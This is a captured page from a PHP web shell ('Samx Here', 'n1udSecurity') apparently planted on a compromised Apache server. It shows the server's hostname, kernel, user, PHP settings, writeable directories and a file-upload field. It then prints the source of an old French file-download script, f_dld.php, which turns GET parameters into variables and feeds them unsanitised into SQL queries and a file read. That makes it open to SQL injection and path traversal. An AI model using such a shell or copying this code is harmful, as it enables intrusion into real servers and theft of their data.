Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/aftrn/banque_HS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/aftrn/banque_HS/f_dld.php
<?php
session_start();
/***************************************************************************
 *
 *   date                 : Septembre 2002
 *   copyright            : (c) 2002 B&eacute;atrice Arnou
 *   email                : bea@cartables.net
 *
 *   Tout usage de ces scripts doit faire l'objet d'une demande d'autorisation 
 *   et ces mentions ne doivent pas &ecirc;tre retir&eacute;es ou modifi&eacute;es.
 *
 ***************************************************************************/

define(IN_AFT, true);

require "lib.php";

if (isset($_SESSION['infos'])) {
  extract($_SESSION['infos']);
 }
else
{
  Header("Location:login.php\n\n");
} 

// R&eacute;cup&eacute;ration des variables
while (list($key, $val) = each($_GET))  {$$key=$val;}

$result=mysqli_query($conx,"select * from fichiers where categorie='$idcat' and nomcourt='$f'");
if (!mysqli_num_rows($result)) {
  hautpage();
  erreur("Fichier non trouv&eacute; !","Retour","javascript:history.back()",EMAIL_CONTACT,SUJET_CONTACT);
}
if (!file_exists(FICHIERS."/$dir/$f")) {
  hautpage();
  erreur("Fichier non trouv&eacute; !","Retour","javascript:history.back()",EMAIL_CONTACT,SUJET_CONTACT);
}

$row    = mysqli_fetch_array($result);
extract($row);
$downloads++;
$res    = mysqli_query($conx,"update fichiers set downloads='$downloads' where idfile = '$idfile'");

header("Content-Type: application/force-download; name=\"$f\"");
header("Content-Transfer-Encoding: binary");
header("Content-Length: $size");
header("Content-Disposition: attachment; filename=\"$f\"");
header("Expires: 0");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
readfile(FICHIERS."/$dir/$f");
?>

SAMX